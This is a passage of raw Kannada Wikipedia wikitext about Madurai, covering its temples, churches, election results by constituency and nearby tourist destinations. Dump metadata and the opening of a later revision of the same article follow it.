ಗಣಿಸಲಾಗಿದೆ. ಪ್ರತಿ [[ಹಿಜ್ರಿ]] ವರ್ಷದ [[ರಬಿ ಅಲ್‌-ಅವ್ವಲ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 15ನೇ ರಾತ್ರಿ ಈ ದರ್ಗಾದ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. {{-}} === ಕೂದಲ್‌ ಅಜ್ಹಗರ್‌ ಕೋಯಿಲ್‌ === ಇಲ್ಲಿ ನವಗ್ರಹಗಳನ್ನೂ ಹೊಂದಿರುವ ಸುಂದರವಾದ ವಿಷ್ಣು ದೇವಾಲಯವಿದೆ (ಸಾಮಾನ್ಯವಾಗಿ ನವಗ್ರಹಗಳು ಶಿವ ದೇವಾಲಯಗಳಲ್ಲಿ ಮಾತ್ರವೇ ಇರುತ್ತವೆ). ಈ ದೇವಾಲಯಕ್ಕೆ ಸಮೀಪದಲ್ಲಿಯೇ ಹಯಗ್ರೀವರ್‌ (ಕುದುರೆ/"ಹಯ"ಗ್ರೀವ ಅವತಾರವಿದು) ಪ್ರಮುಖ ದೇವರಾಗಿರುವ ಹಯಗ್ರೀವರ್‌ ದೇವಾಲಯವಿದೆ. ನೀರಿನಲ್ಲಿ ಮುಳುಗಿದ್ದ ಮಹಾಕಾವ್ಯವನ್ನು ಮತ್ತೆ ಭೂಮಿಗೆ ಹಯಗ್ರೀವರ್‌ ದೇವರೇ ತಂದ ಕಾರಣ ಬಹಳಷ್ಟು ಜನ ವಿದ್ಯಾರ್ಥಿಗಳು ತಮ್ಮ ದೈನಂದಿನ ಪ್ರಾರ್ಥನೆಯನ್ನು ಇಲ್ಲಿಯೇ ಮಾಡುತ್ತಾರೆ. ನಗರದ ಮಧ್ಯಭಾಗದಲ್ಲಿರುವ ದೇವಾಲಯಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಇದು ಖಾಜಿ ಮಾರ್‌ ಬೃಹತ್‌ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌)ಯ ಉತ್ತರಕ್ಕೆ 100 mtrsಗಳಷ್ಟು ದೂರದಲ್ಲಿದ್ದರೆ, ಸುನ್ನಂಬುಕರ ಬೀದಿಯ ದಕ್ಷಿಣಕ್ಕಿದೆ. ಈ ದೇವಾಲಯವು [[ಮೀನಾಕ್ಷಿ ದೇವಾಲಯ]]ಕ್ಕಿಂತ ಹಳೆಯದೆಂದು ಹೇಳಲಾಗುತ್ತದೆ. ಈ ದೇವಾಲಯದ ಬಳಿಯಲ್ಲೇ ಮತ್ತೊಂದು ಶಿವ ದೇವಾಲಯವಿದೆ ಹಾಗೂ ಆ ದೇವಾಲಯವನ್ನು ನನ್ಮೈ ತರುವರ್‌ ದೇವಾಲಯವೆಂದು ಕರೆಯುತ್ತಾರೆ. ದಂತಕಥೆಯ ಪ್ರಕಾರ ತಾನು ಮಧುರೈನ ಚಕ್ರವರ್ತಿ/ರಾಜನಾಗಿದ್ದಾಗ ಸ್ವತಃ ಶಿವನೇ ಕಟ್ಟಿಸಿದ್ದ ದೇವಾಲಯವಾಗಿದೆ. ಈಗಲೂ ಸಹಾ ದೇವಾಲಯದ ಕರುವರಿಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ಲಿಂಗವನ್ನು ಪೂಜಿಸುತ್ತಿರುವ ಹಾಗೂ ಪೂರ್ಣರೂಪದ ಶಿವನ ಭವ್ಯ ಮೂರ್ತಿಯನ್ನು ಕಾಣಬಹುದು. ಮತ್ತೊಂದು ಗಮನಾರ್ಹ ವೈಷ್ಣವ/ವಿಷ್ಣು ದೇವಾಲಯವೆಂದರೆ ಕೋಡಲ್‌ ಅಜ್ಹಗರ್‌ ದೇವಾಲಯದ ಬಳಿಯಿರುವ ಕೃಷ್ಣ ದೇವರಿಗೆ ಮೀಸಲಾಗಿರುವ ಮದನ ಗೋಪಾಲನ್‌ ದೇವಾಲಯವಾಗಿದೆ. === St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ ಚರ್ಚ್‌/ಇಗರ್ಜಿ === ಮಧುರೈನ St. ಮೇರಿಯ ಕ್ಯಾಥೆಡ್ರಲ್‌ [[ಮಧುರೈ ಬಿಷಪ್ಪರ ಪ್ರಾಂತ್ಯದ ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಪೀಠವಾಗಿದೆ. ಇದು [[ಭಾರತ]]ದಲ್ಲಿರುವ ಪ್ರಾಚೀನ [[ರೋಮನ್‌ ಕ್ಯಾಥೊಲಿಕ್‌‌]] ಇಗರ್ಜಿಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು ಮಧುರೈ ರೈಲು ನಿಲ್ದಾಣದ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 2&nbsp;km ದೂರದಲ್ಲಿ ಹಾಗೂ ತಿರುಮಲೈ ನಾಯಕ್‌ ಮಹಲ್‌ನಿಂದ 200 ಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. {{-}} == ರಾಜಕೀಯ == === ರಾಜ್ಯ ಶಾಸನಸಭೆ === ಮಧುರೈ ನಗರವನ್ನು ರಾಜ್ಯ ಶಾಸನಸಭೆಯ ಮೂರು ಕ್ಷೇತ್ರಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿದೆ. ಅವುಗಳೆಂದರೆ [[ಪೂರ್ವ ಮಧುರೈ]], [[ಕೇಂದ್ರ ಮಧುರೈ]] ಮತ್ತು [[ಪಶ್ಚಿಮ ಮಧುರೈ]]. 2009ರ [[ಗಡಿನಿರ್ಣಯ]]ದ ನಂತರ, [[ಉತ್ತರ ಮಧುರೈ]] ಮತ್ತು [[ದಕ್ಷಿಣ ಮಧುರೈ]] ಕ್ಷೇತ್ರಗಳನ್ನು ರಚಿಸಲಾಗಿದೆ. CPI ಮತ್ತು CPMಗಳಂತಹಾ ಎಡ ಪಕ್ಷಗಳಿಗೆ ಗಮನಾರ್ಹ ಬೆಂಬಲವಿದೆ, ಇದು ವಿಶೇಷವಾಗಿ ಪೂರ್ವ ಮಧುರೈನಲ್ಲಿ ಹೆಚ್ಚು. ಸಾಮಾನ್ಯವಾಗಿ ಎಡ ಪಕ್ಷಗಳು ಇತ್ತೀಚೆಗೆ DMK ಅಥವಾ ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಿದ್ದು, ಪರಿಣಾಮವಾಗಿ ಮಧುರೈ CPM MLAಗಳನ್ನು ಹೊಂದಿದೆ. ಆದರೆ 1977ರಿಂದ, 1996 ಮತ್ತು 2001ರಲ್ಲಿ [[ತಮಿಳು ಮಾನಿಲಾ ಕಾಂಗ್ರೆಸ್‌]]ನವರು DMK ಮತ್ತು ADMKಗಳೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಮೇಲುಗೈ ಸಾಧಿಸಿದ್ದನ್ನು ಹೊರತುಪಡಿಸಿದರೆ ADMK ಮತ್ತು DMK ಪಕ್ಷಗಳು ಈ ಪ್ರದೇಶದಲ್ಲಿ ಪ್ರಭಾವಶಾಲಿಯಾಗಿವೆ. ಹಾಗೆಯೇ 1984 ಮತ್ತು 1991ರಲ್ಲಿ ಕಾಂಗ್ರೆಸ್‌ ಕೂಡಾ ADMKನೊಂದಿಗೆ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡಾಗ ಗೆಲುವು ಕಂಡಿತ್ತು. ರಾಜಕಾರಣಿಯಾದ ಬದಲಾದ ನಟ [[M.G. ರಾಮಚಂದ್ರನ್‌]]ರು ಗೆಲುವು ಪಡೆದ ಅನೇಕ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಪಶ್ಚಿಮ ಮಧುರೈ ಕ್ಷೇತ್ರವು ಸಹಾ ಒಂದು. [[1980ರ ತಮಿಳುನಾಡು ಶಾಸನಸಭೆಯ ಮರುಚುನಾವಣೆ]]ಯಲ್ಲಿ ಈ ಕ್ಷೇತ್ರದಿಂದ ಗೆದ್ದಿದ್ದರು. {| class="wikitable" style="float:left;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಪೂರ್ವ ಮಧುರೈ ಮತಗಳು ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:honeyDew"|'''[[2006]]''' | style="background:honeyDew"|'''43.7%''' ''57,208'' | style="background:#fff3f3"|41.0% ''53,741'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''48.1%''' ''48,465'' | style="background:#fff3f3"|47.4% ''47,757'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|17.7% ''17,465'' | style="background:#fff3f3"|'''62.4%''' ''61,723'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''63.4%''' ''59,586'' | style="background:#fff3f3"|34.7% ''32,664'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|20.3% ''20,871'' | style="background:#fff3f3"|'''44.3%''' ''45,579'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1984]]''' | style="background:honeyDew"|47.9% ''45,131'' | style="background:#fff3f3"|'''51.2%''' ''48,247'' |- style="text-align:center" | style="background:honeyDew"|'''[[1980]]''' | style="background:honeyDew"|'''59.6%''' ''57,019'' | style="background:#fff3f3"|37.6% ''35,953'' |- style="text-align:center" | style="background:honeyDew"|'''[[1977]]''' | style="background:honeyDew"|'''43.1%''' ''32,342'' | style="background:#fff3f3"|21.6% ''16,211'' |} {| class="wikitable" style="margin:auto;margin:1em 0 1em 1em;font-size:95%" |+ <td>'''ಕೇಂದ್ರ ಮಧುರೈ''' <br />''' ಶಾಸನಸಭೆ ಚುನಾವಣೆಗಳ ಮೈತ್ರಿಯಿಂದ ದೊರಕಿದ ಮತಗಳು''' </td> |- ! ವರ್ಷ ![[AIADMK+]] ![[DMK+]] |- style="text-align:center" | style="background:#fff3f3"|'''[[2006]]''' | style="background:honeyDew"|38.2% ''35,992'' | style="background:#fff3f3"|'''45.8%''' ''43,185'' |- style="text-align:center" | style="background:honeyDew"|'''[[2001]]''' | style="background:honeyDew"|'''46.5%''' ''34,393'' | style="background:#fff3f3"|46.3% ''34,246'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1996]]''' | style="background:honeyDew"|14.6% ''11,841'' | style="background:#fff3f3"|'''46.7%''' ''38,010'' |- style="text-align:center" | style="background:honeyDew"|'''[[1991]]''' | style="background:honeyDew"|'''62.3%''' ''47,325'' | style="background:#fff3f3"|35.2% ''26,717'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1989*]]''' | style="background:honeyDew"|13.3% ''11,243'' | style="background:#fff3f3"|'''46.0%''' ''33,484'' |- style="text-align:center" | style="background:honeyDew"|'''[[1984]]''' | style="background:honeyDew"|'''50.8%''' ''41,272'' | style="background:#fff3f3"|48.0% ''39,012'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1980]]''' | style="background:honeyDew"|'''58.1%''' ''45,700'' | style="background:#fff3f3"|40.2% ''31,566'' |- style="text-align:center" | style="background:#fff3f3"|'''[[1977]]''' | style="background:honeyDew"|'''39.9%''' ''29,399'' | style="background:#fff3f3"|19.9% ''14,676'' |} * ಸೂಚನೆ: 1989ರಲ್ಲಿ, [[ಜಾನಕಿ ಬಣ]] ಮತ್ತು [[ಜಯಲಲಿತಾ ಬಣ]]ವೆಂದು ADMK ಎರಡು ಬಣಗಳಾಗಿ ವಿಭಜಿತವಾಯಿತು. ಜಾನಕಿ ಬಣ ಮಾತ್ರವೇ ಪೂರ್ವ ಮಧುರೈ ಮತ್ತು ಕೇಂದ್ರ ಮಧುರೈ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿತು. === ಲೋಕಸಭೆ === ಮಧುರೈನ ಎಲ್ಲಾ ಐದು ಕ್ಷೇತ್ರಗಳೂ ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )ದ ಭಾಗವಾಗಿದೆ<ref>{{cite web | url = http://archive.eci.gov.in/se2001/background/S22/TN_ACPC.pdf | title = List of Parliamentary and Assembly Constituencies | accessdate = 2008-10-08 | work = Tamil Nadu | publisher = Election Commission of India }}</ref> == ಮಧುರೈನ ಸುತ್ತಮುತ್ತಲಿರುವ ಪ್ರವಾಸೀ ತಾಣಗಳು == ಮಧುರೈ ನಗರವು ಆಯಕಟ್ಟಿನ ಸ್ಥಳದಲ್ಲಿರುವುದರಿಂದ ದಕ್ಷಿಣ [[ತಮಿಳುನಾಡಿನ]] ಪ್ರವಾಸೋದ್ಯಮ ಕೇಂದ್ರವಾಗಿ ರೂಪುಗೊಂಡಿದೆ. [http://www.carrentalmadurai.com/Travel/ ಮಧುರೈನ ಸುತ್ತಮುತ್ತಾ ಸಂದರ್ಶಕರು ನೋಡಬಯಸುವ ಪ್ರವಾಸೀ ಸ್ಥಳಗಳು] {{Webarchive|url=https://web.archive.org/web/20091202042311/http://www.carrentalmadurai.com/travel/ |date=2009-12-02 }} ಅನೇಕವಿವೆ. * [[ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌]] ನಗರದಿಂದ ಸುಮಾರು 25&nbsp;km ದೂರವಿರುವ ಇದೊಂದು ವಿಷ್ಣು ದೇವಾಲಯ. ಈ ಸ್ಥಳವನ್ನು ಬೆಟ್ಟಗಳು ಸುತ್ತುವರೆದಿವೆ. ಈ ದೇವಾಲಯದ ಪ್ರಧಾನ ದೇವತೆಯೆಂದರೆ ಕಲ್ಲಜ್ಹಗರ್‌. ಚಿತ್ತಿರೈ ತಿರುವಿಜ್ಹಾ ಎಂಬ [[ತಮಿಳು ಹೊಸ ವರ್ಷ]]ದ ಉತ್ಸವವನ್ನು ಅನೇಕ ಶತಮಾನಗಳಿಂದ ಇದೇ ದೇವಾಲಯದಲ್ಲಿ ಆಚರಿಸಿಕೊಂಡು ಬರಲಾಗುತ್ತಿದೆ. ಅಜ್ಹಗರ್‌ ಕೋವಿಲ್‌ನ ಪ್ರವೇಶ ದ್ವಾರದಲ್ಲಿ [[ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯ]]ವನ್ನು ಸಹಾ ನೋಡಬಹುದು, ಇದನ್ನು ಉತ್ತರ ಭಾರತದ ಕೈಲಾಸ ಪರ್ವತದಲ್ಲಿರುವ ಬದ್ರೀನಾಥ್‌ನಂತೆಯೇ ನಿರ್ಮಿಸಲಾಗಿದೆ: ಇಲ್ಲಿನ ಪ್ರಮುಖ ಮೂರ್ತಿಯು, ನರ ನಾರಾಯಣರಿಂದ ಸುತ್ತುವರೆಯಲ್ಪಟ್ಟು ಧ್ಯಾನಮಗ್ನ ಭಂಗಿಯಲ್ಲಿರುವ ವಿಷ್ಣುವನ್ನು ಬಿಂಬಿಸುತ್ತದೆ. ಕಲ್ಲಲಾಗರ್‌ ತಮಿಳುನಾಡಿನ ಪ್ರಸಿದ್ಧ ಹಬ್ಬವಾದ/ಉತ್ಸವವಾದ ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಹಿಂದಿನ ದಿನ ದೇವಾಲಯಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆಂದು ನಂಬಿಕೆ ಇದೆ. ಆತ ತನ್ನ ಪ್ರಯಾಣವನ್ನು ಬದರಿ ನಾರಾಯಣ ದೇವಾಲಯವನ್ನು ಹಾದು ಅಲಗರ್‌ ಕೋಯಿಲ್‌ನಿಂದ ಆರಂಭಿಸುತ್ತಾನೆ. ಇದೇ ಸಮಯದಲ್ಲಿ ಆತ ವೈಗೈ ನದಿ ಸಮೀಪದ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದಲ್ಲಿರುವ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾನೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಆತ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತಾನು ತಡವಾದೆ ಎಂಬುದನ್ನು ಅರಿತು ನದಿಯನ್ನು ದಾಟಲು ನಿರಾಕರಿಸಿ/ದಾಟದೇ ನಿರಾಶೆಯಿಂದ ಅಲಗರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾನೆ ಎಂಬ ನಂಬಿಕೆ ಇದೆ. ಇಲ್ಲಿಯ ಬೆಟ್ಟಗಳ ಮೇಲೆ [[ಪಜಮುಡಿರ್‌ಚೋಳೈ]] ಎಂಬ ಹೆಸರಿನಿಂದ ಪ್ರಸಿದ್ಧವಾದ ಮುರುಗನ್‌ ದೇವರ ದೇವಾಲಯವಿದೆ. ಈ ದೇವಾಲಯವು ಮುರುಗನ್‌‌ನ ಅರುಪಾದೈ ವೀಡುಗಳಲ್ಲಿ ಕೊನೆಯದಾಗಿದ್ದು ಇಲ್ಲಿ ಆತನನ್ನು ಪತ್ನಿಯರಾದ ದೇವನೈ ಮತ್ತು ವಲ್ಲಿಯರ ಜೊತೆಗೆ ನೋಡಬಹುದು. * [[ಕೊಡೈಕೆನಾಲ್‌]] ಮಧುರೈನಿಂದ ಸುಮಾರು 120 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿ ಭಾರತದಲ್ಲಿನ ಅತ್ಯಂತ ಸುಂದರ ಗಿರಿಧಾಮಗಳಲ್ಲಿ ಒಂದಾದ ಕೊಡೈಕೆನಾಲ್‌/ಕೊಡೈಕನಾಲ್‌ ನಗರವಿದೆ. ಇದನ್ನು ಬೆಟ್ಟಗಳ ರಾಜಕುಮಾರಿ/ರಾಣಿ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ. ಪಶ್ಚಿಮ ಘಟ್ಟಗಳ ಪ್ರದೇಶದಲ್ಲಿ ಸಮುದ್ರ ಮಟ್ಟದಿಂದ 2,130 mಗಳಷ್ಟು ಎತ್ತರದಲ್ಲಿ ಕೊಡೈ ನಗರವಿದೆ. * [[ವೈಗೈ ಅಣೆಕಟ್ಟು]] ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 70&nbsp;km ದೂರದಲ್ಲಿ ವೈಗೈ ಅಣೆಕಟ್ಟು ಇದೆ. ವಾರಾಂತ್ಯದಲ್ಲಿ ದೀಪಗಳ ಅಲಂಕಾರದಲ್ಲಿ ಈ ಅಣೆಕಟ್ಟು ಬೆರಗು ಹುಟ್ಟಿದುವಂತಹಾ ದೃಶ್ಯ ವೈಭವ ಹೊಂದಿರುತ್ತದೆ. * [[ರಾಮೇಶ್ವರಂ]] ಪವಿತ್ರ ನಗರವಾದ ರಾಮೇಶ್ವರಂ ದೇವಾಲಯಗಳ ನಗರವಾದ ಮಧುರೈನಿಂದ ಸುಮಾರು 164 ಕಿಲೋಮಿಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * ಸುರುಳಿ ಜಲಪಾತ ಶ್ರೀಮಂತ ಸಸ್ಯರಾಶಿ ಮತ್ತು ಪುಷ್ಪರಾಶಿಗಳ ಮಧ್ಯವಿರುವ ಸುರುಳಿ ಜಲಪಾತವು ಸೂಕ್ತ ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ ಟೇಕ್ಕಡಿಗೆ ಹೋಗುವ ದಾರಿಯಲ್ಲಿ ಸುಮಾರು 123 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. * [[ಟೇಕ್ಕಡಿ]] / ಕುಮಿಲಿ ಟೇಕ್ಕಡಿಯು ಕೇರಳದ ಇಡುಕ್ಕಿ ಜಿಲ್ಲೆಯ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವು ವಿಶ್ವದ ಅತ್ಯಾಕರ್ಷಕ ನೈಸರ್ಗಿಕ ವನ್ಯಜೀವಿ ಸಂರಕ್ಷಣಾಲಯವಾಗಿದೆ. 360;km²ದಷ್ಟು ದಟ್ಟ ಹಸಿರು ಕಾನನವನ್ನು ಒಳಗೊಂಡಿರುವ 777&nbsp;km²ದಷ್ಟು ವಿಸ್ತಾರವಾದ ಪ್ರದೇಶದಲ್ಲಿ ಹರಡಿರುವ ಪೆರಿಯಾರ್‌ ವನ್ಯಜೀವಿಧಾಮವನ್ನು ಹುಲಿಗಳ ಅಭಯತಾಣವೆಂದು 1978ರಲ್ಲಿ ಘೋಷಿಸಲಾಗಿದೆ. ಇದು ಮಧುರೈನಿಂದ 155 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ ಹಾಗೂ ಅನೇಕ ಪ್ರಾಣಿ ಪಕ್ಷಿಗಳಿಗೆ ನೆಲೆಯಾಗಿದೆ. * [[ಕೌಟ್ರಲ್ಲಂ]] (ತಿರುನಲ್ವೇಲಿಯ ಬಳಿ) ಜಲಪಾತಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾದ ಇದು ಮಧುರೈನಿಂದ 160 kmಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. 'ದಕ್ಷಿಣದ ಖನಿಜಜಲ ಚಿಲುಮೆ' ಎಂದು ಹೆಸರಾಗಿರುವ ಈ ಪ್ರದೇಶದಲ್ಲಿ ಅಪಾರವಾದ ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯವಿದೆ. == ಇದನ್ನೂ ನೋಡಿರಿ == * [http://view360.in/virtualtour/madurai/ ಮಧುರೈನ '''ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ''' ದ 360 ಡಿಗ್ರಿ ಪರಸ್ಪರ ವರ್ತನೆಯ/ಇಂಟರ್ಯಾಕ್ಟೀವ್‌ ಅವಾಸ್ತವಿಕ ನೋಟ] {{Webarchive|url=https://web.archive.org/web/20091024153603/http://www.view360.in/virtualtour/madurai/ |date=2009-10-24 }} * [[ಮಧುರೈನ ಸಾಫ್ಟ್‌ವೇರ್‌/ತಂತ್ರಾಂಶ ಕಂಪೆನಿಗಳು]] * [[ಮಧುರೈ (ಲೋಕಸಭಾ ಕ್ಷೇತ್ರ )]] * [[ಮಧುರೈ ಜಿಲ್ಲೆ]] * [[ಮಧುರೈ ಉಪಭಾಷೆ]] * [[ಮಧುರೈ ಜಿಲ್ಲೆಯಲ್ಲಿರುವ ಮಹಾವಿದ್ಯಾಲಯಗಳು ಹಾಗೂ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ]] {{Template group |list = {{Hindu holy cities}} {{Municipal corporations of Tamil Nadu}} {{Tamil Nadu}} }} * [http://www.bharatrail.net/ ಭಾರತೀಯ ರೈಲ್ವೆಯ ಪ್ರಯಾಣಿಕರ ವಿಚಾರಣಾ ಸೇವೆ ಭಾರತ್‌ರೈಲ್‌] {{Webarchive|url=https://web.archive.org/web/20091221100303/http://www.bharatrail.net/ |date=2009-12-21 }} == ಉಲ್ಲೇಖಗಳು == {{Commons category}} {{reflist|2}} [[ವರ್ಗ:ಭಾರತದ ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ]] [[ವರ್ಗ:ಹಿಂದೂ ಪವಿತ್ರ ನಗರಗಳು]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮಧುರೈ ರೈಲ್ವೇ ವಿಭಾಗ]] [[ವರ್ಗ:ಭಾರತೀಯ ರೈಲ್ವೆಯ ವಿಭಾಗಗಳು]] [[ವರ್ಗ:ದಕ್ಷಿಣ ರೈಲ್ವೆ (ಭಾರತ ) ವಲಯ]] [[ವರ್ಗ:ತಮಿಳುನಾಡಿನ ನಗರಗಳು]] a7oo734me5tegavybc66m0w3l93dt0q 1116558 1116555 2022-08-24T03:24:40Z Info-farmer 7254 /* ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ */ File:Gandhi museum, Madurai.jpg wikitext text/x-wiki {{Infobox Indian Jurisdiction | native_name = ಮದುರೈ <br />மதுரை | type = city | latd = 9.8 | longd = 78.10 | skyline=Madurai, India.jpg | skyline_caption= ಮದುರೈನ ನೋಟ | state_name =ತಮಿಳುನಾಡು | district = [[ಮದುರೈ ಜಿಲ್ಲೆ]] | language = ತಮಿಳು | area_total = 109 | altitude = 8 | population_total = 1128869 |population_density=೧೦೨೫೬ | population_as_of = ೨೦೦೧ | population_total_cite =<ref name=census /> | leader_title = ಮೇಯರ್ | leader_name = ಥೆನ್ಮೋಳಿ ಗೋಪಿನಾಥನ್<ref>{{cite web | url=http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | title=First woman Mayor for Madurai | work=The Hindu | dateformat=mdy | accessdate=October 29, 2006 | archive-date=ಅಕ್ಟೋಬರ್ 1, 2007 | archive-url=https://web.archive.org/web/20071001015924/http://www.hindu.com/2006/10/29/stories/2006102911600100.htm | url-status=dead }}</ref> | area_telephone = 452 | postal_code = 625 0xx | vehicle_code_range = TN-58, TN-59 and TN-64| website = www.maduraicorporation.in }} [[ಭಾರತೀಯ]] ದ್ವೀಪಕಲ್ಪ<ref name="FrommersIndia">ಫ್ರಾ/ಫ್ರಮ್ಮರ್ಸ್‌ ಇಂಡಿಯಾ ಲೇ: ಪಿಪ್ಪ ಡೆಬ್ರೂನ್‌, ಕೀತ್‌ ಬೇನ್‌, ನೀಲೋಫರ್‌ ವೆಂಕಟರಾಮನ್‌, ಷೋನಾರ್‌ ಜೋಷಿ</ref> ದ ಜನವಾಸ್ತವ್ಯವಿದ್ದ ಪ್ರಾಚೀನ ನಗರ '''ಮಧುರೈ''' ({{lang-ta|மதுரை}}). [[ಭಾರತದ ರಾಜ್ಯ]]ವಾದ [[ತಮಿಳುನಾಡು|ತಮಿಳುನಾಡಿ]]ನ [[ಮಧುರೈ ಜಿಲ್ಲೆ]]ಯಲ್ಲಿ [[ವೈಗೈ ನದಿ]]ತೀರದ ಪ್ರಾಚೀನ ಹಾಗೂ ಪ್ರತಿಷ್ಠಿತ ನಗರವಾಗಿದೆ. ಈ ನಗರವನ್ನು ವ್ಯಾಪಕವಾಗಿ '''ದೇವಾಲಯಗಳ ನಗರ''' <ref name="FrommersIndia" />, ಇದನ್ನು ಕೂದಲ್‌ ಮಾನಗರ್‌ ಎಂದೂ ಕರೆಯುತ್ತಾರೆ, ತಮಿಳುನಾಡಿನ ಸಾಂಸ್ಕೃತಿಕ ರಾಜಧಾನಿ (ಕಲಾಚಾರ ತಲೈನಗರ್‌) , ಮಲ್ಲಿಗೈ ಮಾನಗರ್‌(ಮಲ್ಲಿಗೆಯ ನಗರ), ಥೂಂಗ ನಗರಂ(ನಿದ್ದೆಮಾಡದ ನಗರ), '''ಪೂರ್ವದ ಅಥೆನ್ಸ್‌''' ಎಂಬಿತ್ಯಾದಿ ಹೆಸರುಗಳಿಂದ ಕರೆಯುತ್ತಾರೆ. 2001ರ ಜನಗಣತಿ<ref>{{cite web|url=http://www.citypopulation.de/India-TamilNadu.html |title=Tamil Nādu - City Population - Cities, Towns & Provinces - Statistics & Map |publisher=Citypopulation.de |date= |accessdate=2009-09-23}}</ref> ಯ ಪ್ರಕಾರ 1,203,095ರಷ್ಟು ಜನಸಂಖ್ಯೆ ಇರುವ ಈ ನಗರ ತಮಿಳುನಾಡಿನಲ್ಲೇ ಮೂರನೇ ಅತಿ ದೊಡ್ಡ ಮಹಾನಗರವಾಗಿದೆ. ಪ್ರಾಚೀನ ಕಾಲದ ದಕ್ಷಿಣ ನಾಗರೀಕತೆಯ ರಾಜಧಾನಿಯಾಗಿತ್ತು ಮಧುರೈ ಮಹಾನಗರ. ಮಧುರೈನ ಸಾಂಸ್ಕೃತಿಕ ಹಿನ್ನೆಲೆಯು 2,500 ವರ್ಷಗಳಷ್ಟು ಹಿಂದಿನದು ಹಾಗೂ ನಗರವು ಪ್ರಮುಖ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವಾಗಿದ್ದುದಲ್ಲದೇ 550 B.C.E.<ref name="FrommersIndia" /> ಗಳಷ್ಟು ಪ್ರಾಚೀನ ಕಾಲದಿಂದ ರೋಮ್‌ ಮತ್ತು ಗ್ರೀಸ್‌ ರಾಷ್ಟ್ರಗಳ ಜೊತೆಗೆ ವ್ಯವಹಾರ ನಡೆಸಲಾಗುತ್ತಿತ್ತು<ref name="http://www.madurai.com/madurai.htm">{{cite web |author= |url=http://www.madurai.com/madurai.htm |title=Madurai, Temple Town of South India. Cultural capital of Tamilnadu |publisher=Madurai.com |date= |accessdate=2009-09-23 |archive-date=2009-07-07 |archive-url=https://web.archive.org/web/20090707203249/http://www.madurai.com/madurai.htm |url-status=dead }}</ref>. == ಇತಿಹಾಸ == ಮಧುರೈನ ಇತಿಹಾಸವು ಕ್ರಿಸ್ತ-ಯುಗಕ್ಕೂ ಹಿಂದಿನ ಸಂಗಮ್‌ ಅವಧಿಯಷ್ಟು ಹಳೆಯದು. ಇದು ಪ್ರಾಚೀನ [[ಪಾಂಡ್ಯರ]] [[ತಮಿಳಾಕಮ್‌]] ಸಾಮ್ರಾಜ್ಯದ ಅಧಿಕಾರ ಕೇಂದ್ರವಾಗಿತ್ತು. ಸಂಗಮ್‌ ಅವಧಿಯ ಕವಿ ನಕ್ಕೀರರ್‌ರನ್ನು 